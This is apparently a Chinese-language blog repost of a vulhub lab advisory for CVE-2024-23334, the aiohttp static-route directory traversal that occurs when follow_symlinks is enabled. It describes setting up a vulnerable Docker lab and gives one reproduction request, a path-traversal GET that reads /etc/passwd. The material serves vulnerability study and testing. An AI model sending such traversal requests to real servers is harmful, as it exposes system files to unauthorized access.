aiohttp 目录遍历漏洞

漏洞信息

漏洞名称: aiohttp 目录遍历漏洞

漏洞编号:

  • CVE: CVE-2024-23334

漏洞类型: 目录遍历

漏洞等级: 高危

漏洞描述: aiohttp 是一个基于 asyncio 和 Python 的异步 HTTP 客户端/服务器框架,广泛应用于构建高性能的Web应用程序和API服务。它支持异步处理请求,适合高并发的网络应用场景。在将 aiohttp 用作 Web 服务器并配置静态路由时,必须指定静态文件的根路径。此外,可以使用 follow_symlinks 选项来决定是否跟随指向静态根目录之外的符号链接。当 follow_symlinks 设置为 True 时,aiohttp 不会验证所读取的文件是否位于静态根目录之内。这可能导致目录遍历漏洞,从而使攻击者可以未经授权访问系统上的任意文件,即使系统中没有实际存在符号链接。该漏洞影响的版本包括 3.9.1 及以下。攻击者可以利用此漏洞构造恶意路径,访问服务器上的敏感文件,如 /etc/passwd,导致信息泄露,甚至可能进一步利用泄露的信息进行更深入的攻击。此漏洞无需认证即可利用,且可以远程触发,对系统安全构成严重威胁。

产品厂商: aiohttp

产品名称: aiohttp

影响版本: version <= 3.9.1

来源: https://github.com/vulhub/vulhub/blob/44c999b3aafe9765687c5518652b7c6ac3a442a4/python%2FCVE-2024-23334%2FREADME.zh-cn.md

类型: vulhub/vulhub:github issues

来源概述

aiohttp 目录遍历漏洞 (CVE-2024-23334)

aiohttp 是一个基于 asyncio 和 Python 的异步 HTTP 客户端/服务器框架。

在将 aiohttp 用作 Web 服务器并配置静态路由时,必须指定静态文件的根路径。此外,可以使用 follow_symlinks 选项来决定是否跟随指向静态根目录之外的符号链接。当 follow_symlinks 设置为 True 时,aiohttp 不会验证所读取的文件是否位于静态根目录之内。这可能导致目录遍历漏洞,从而使攻击者可以未经授权访问系统上的任意文件,即使系统中没有实际存在符号链接。该漏洞影响的版本包括 3.9.1 及以下。

参考链接:

环境搭建

执行如下命令启动存在漏洞的 aiothttp 3.9.1 服务器:

1
docker compose up -d

服务启动后,通过 http://your-ip:8080/ 即可访问网页。

漏洞复现

利用此漏洞,可以构造恶意路径,从而访问服务器中任意文件。

例如,构造如下请求来查看系统文件/etc/passwd:

1
2
3
GET /static/../../../../../etc/passwd HTTP/1.1
Host: your-ip:8080
Content-Length: 2

构造查看/etc/passwd的请求

如果操作成功,即可以看到/etc/passwd的内容,证明漏洞存在。


aiohttp 目录遍历漏洞
http://example.com/2025/07/28/github_2026101061/
作者
lianccc
发布于
2025年7月28日
许可协议